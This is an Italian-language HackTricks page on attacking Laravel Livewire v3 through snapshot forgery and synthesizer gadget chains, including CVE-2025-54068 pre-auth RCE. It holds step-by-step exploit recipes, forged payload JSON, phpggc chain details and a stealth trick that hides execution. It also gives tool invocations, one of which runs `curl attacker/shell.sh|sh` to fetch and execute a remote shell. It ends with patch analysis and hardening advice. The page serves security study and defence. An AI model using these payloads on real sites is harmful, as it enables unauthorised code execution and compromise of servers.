Laravel Livewire Hydration & Synthesizer Abuse
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
Riepilogo della state machine di Livewire
I componenti Livewire 3 scambiano il loro stato tramite snapshots che contengono data, memo e un checksum. Ogni POST a /livewire/update reidrata lo snapshot JSON lato server ed esegue le calls/updates in coda.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Chiunque possieda APP_KEY (usata per derivare $hashKey) può quindi forgiare snapshot arbitrari ricalcolando l’HMAC.
Le proprietà complesse sono codificate come synthetic tuples rilevate da Livewire\Drawer\BaseUtils::isSyntheticTuple(); ogni tuple è [value, {"s":"<key>", ...meta}]. Il core di hydration semplicemente delega ogni tuple al synth selezionato in HandleComponents::$propertySynthesizers e ricorre sui figli:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Questo design ricorsivo rende Livewire un generic object-instantiation engine una volta che un attacker controlla il tuple metadata o qualsiasi nested tuple processato durante la ricorsione.
Synthesizers che concedono gadget primitives
| Synthesizer | Comportamento controllato dall’attacker |
|---|---|
CollectionSynth (clctn) | Instanzia new $meta['class']($value) dopo aver reidratato ogni child. Qualsiasi class con un array constructor può essere creata, e ogni item può a sua volta essere un synthetic tuple. |
FormObjectSynth (form) | Chiama new $meta['class']($component, $path), poi assegna ogni public property dai child controllati dall’attacker tramite $hydrateChild. Constructors che accettano due parametri debolmente tipizzati (o default args) sono sufficienti per raggiungere arbitrary public properties. |
ModelSynth (mdl) | Quando key è assente da meta esegue return new $class; permettendo instanziazione senza argomenti di qualsiasi class sotto controllo dell’attacker. |
Poiché gli synth invocano $hydrateChild su ogni nested element, è possibile costruire arbitrary gadget graphs impilando tuple ricorsivamente.
Forgiare snapshot quando APP_KEY è noto
- Cattura una legittima richiesta
/livewire/updatee decodificacomponents[0].snapshot. - Inietta nested tuples che puntano a gadget classes e ricalcola
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode il snapshot, lascia
_token/memoinvariati e riproduci la richiesta.
Una proof of execution minima usa Guzzle’s FnStream e Flysystem’s ShardedPrefixPublicUrlGenerator. Un tuple istanzia FnStream con dati del constructor { "__toString": "phpinfo" }, il successivo istanzia ShardedPrefixPublicUrlGenerator con [FnStreamInstance] come $prefixes. Quando Flysystem esegue il cast di ogni prefix a string, PHP invoca il callable __toString fornito dall’attacker, chiamando qualsiasi function senza argomenti.
Da function calls a full RCE
Sfruttando le primitive di instanziazione di Livewire, Synacktiv ha adattato la chain Laravel/RCE4 di phpggc in modo che la hydration avvii un object la cui public Queueable state attiva la deserializzazione:
- Queueable trait – qualsiasi object che usa
Illuminate\Bus\Queueableespone public$chaineded esegueunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) viene istanziato tramiteCollectionSynth/FormObjectSynthcon public$chainedpopolato. - phpggc Laravel/RCE4Adapted – il serialized blob memorizzato in
$chained[0]costruiscePendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()infine chiamacall_user_func_array($closure, $args)abilitandosystem($cmd). - Stealth termination – passando un secondo callable
FnStreamcome[new Laravel\Prompts\Terminal(), 'exit'], la richiesta termina conexit()invece che con una rumorosa exception, mantenendo pulita la HTTP response.
Automatizzare la forgery dello snapshot
synacktiv/laravel-crypto-killer ora include una modalità livewire che assembla tutto:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Lo strumento analizza lo snapshot catturato, inietta le gadget tuple, ricalcola il checksum e stampa un payload /livewire/update pronto all’invio.
CVE-2025-54068 – RCE without APP_KEY
Secondo il vendor advisory, il problema colpisce Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) ed è specifico di v3.
updates vengono mergiate nello state del component dopo che il checksum dello snapshot è stato validato. Se una property all’interno dello snapshot è (o diventa) una synthetic tuple, Livewire riusa i suoi meta mentre hydrate il valore di update controllato dall’attacker:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Ricetta di exploit:
- Trova un componente Livewire con una proprietà pubblica non tipizzata (ad es.
public $count;). - Invia un update che imposti quella proprietà a
[]. Il next snapshot ora la memorizza come[[], {"s": "arr"}].
Un flusso minimale di type-juggling ha questo aspetto:
POST /livewire/update
...
"updates": {"count": []}
Poi il next snapshot memorizza una tupla che conserva i metadati del synthesizer arr:
"count": [[], {"s": "arr"}]
- Crea un altro payload
updatesin cui quella proprietà contiene un array profondamente annidato che incorpora tuple come[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Durante la ricorsione,
hydrate()valuta ogni child annidato in modo indipendente, quindi le chiavi/classi synth scelte dall’attaccante vengono onorate anche se la tupla esterna e il checksum non sono mai cambiati. - Riutilizza gli stessi primitive
CollectionSynth/FormObjectSynthper instanziare un gadget Queueable il cui$chained[0]contiene il payload phpggc. Livewire elabora gli update falsificati, invocadispatchNextJobInChain(), e raggiungesystem(<cmd>)senza conoscereAPP_KEY.
Motivi principali per cui funziona:
updatesnon sono coperti dal checksum dello snapshot.getMetaForPath()si fida di qualunque metadato synth fosse già presente per quella proprietà, anche se l’attaccante l’aveva precedentemente forzata a diventare una tupla tramite weak typing.- Ricorsione + weak typing permettono di interpretare ogni array annidato come una nuova tupla, quindi chiavi synth arbitrarie e classi arbitrarie arrivano infine alla hydration.
Target pre-auth ad alto valore: Filament login forms
Le applicazioni costruite sopra Livewire spesso espongono una surface pre-auth ancora più semplice di una proprietà di prova public $count;. Per esempio, le pagine di login di Filament comunemente hydrated un oggetto $form debolmente tipizzato che è già serializzato come tupla form nello snapshot. Questo elimina del tutto il passaggio di setup “scalar -> array -> tupla arr”:
- Lo snapshot contiene già qualcosa come
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Un attaccante può inviare
updates.formcon tuple malevole annidate direttamente, perché la ricorsione reinterpreterà infine child come[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - Ecco perché gli entrypoint Livewire pre-auth che espongono oggetti
FormObjectSynthsono particolarmente interessanti: forniscono già sia l’instantiation sia l’assegnazione di public-property.
Patch analysis: preservare i metadati raw durante la ricorsione dell’update
La fix introduce un percorso dedicato hydratePropertyUpdate() così i valori annidati degli update non chiamano più il generico hydrate($child, ...) su child controllati dall’attaccante:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Impatto della patch:
- Gli aggiornamenti annidati vengono rivalidati rispetto al path originale dello snapshot raw invece di fidarsi dei nuovi metadati tuple forniti dall’attaccante.
- La hydration ricorsiva non consente più ai child di ridefinire
soclassa metà esecuzione. - Questo blocca sia il cambio arbitrario del synthesizer sia la selezione arbitraria della class all’interno degli array di nested update.
Livepyre – end-to-end exploitation
Livepyre automatizza sia il CVE senza APP_KEY sia il path dello snapshot firmato:
- Identifica la versione di Livewire deployata analizzando
<script src="/livewire/livewire.js?id=HASH">(oppure?v=HASH) e mappando l’hash alle release vulnerabili. - Raccoglie snapshot baseline riproducendo azioni innocue ed estraendo
components[].snapshot. - Genera un payload solo
updates(CVE-2025-54068) oppure uno snapshot forgiato (APP_KEY noto) che incorpora la chain phpggc. - Se in uno snapshot non viene trovato alcun parametro di tipo object, Livepyre passa al brute-forcing dei parametri candidati per arrivare a una property coercible.
Uso tipico:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check esegue una probe non distruttiva, -F salta il version gating, -H e -P aggiungono header o proxy personalizzati, e --function/--param personalizzano la funzione php invocata dalla gadget chain.
Considerazioni difensive
- Aggiorna a build Livewire corrette (>= 3.6.4 secondo il vendor bulletin) e distribuisci la patch del vendor per CVE-2025-54068.
- Evita proprietà pubbliche debolmente tipizzate nei componenti Livewire; tipi scalari espliciti impediscono che i valori delle proprietà vengano coerciti in array/tuple.
- Registra solo i synthesizer di cui hai davvero bisogno e tratta i metadati controllati dall’utente (
$meta['class']) come non attendibili. - Rifiuta gli aggiornamenti che cambiano il tipo JSON di una proprietà (ad esempio, scalar -> array) a meno che non sia esplicitamente consentito, e rigenera i synth metadata invece di riutilizzare tuple obsolete.
- Ruota
APP_KEYrapidamente dopo qualsiasi disclosure perché consente la forgiatura offline degli snapshot indipendentemente da quanto sia patchato il code-base.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


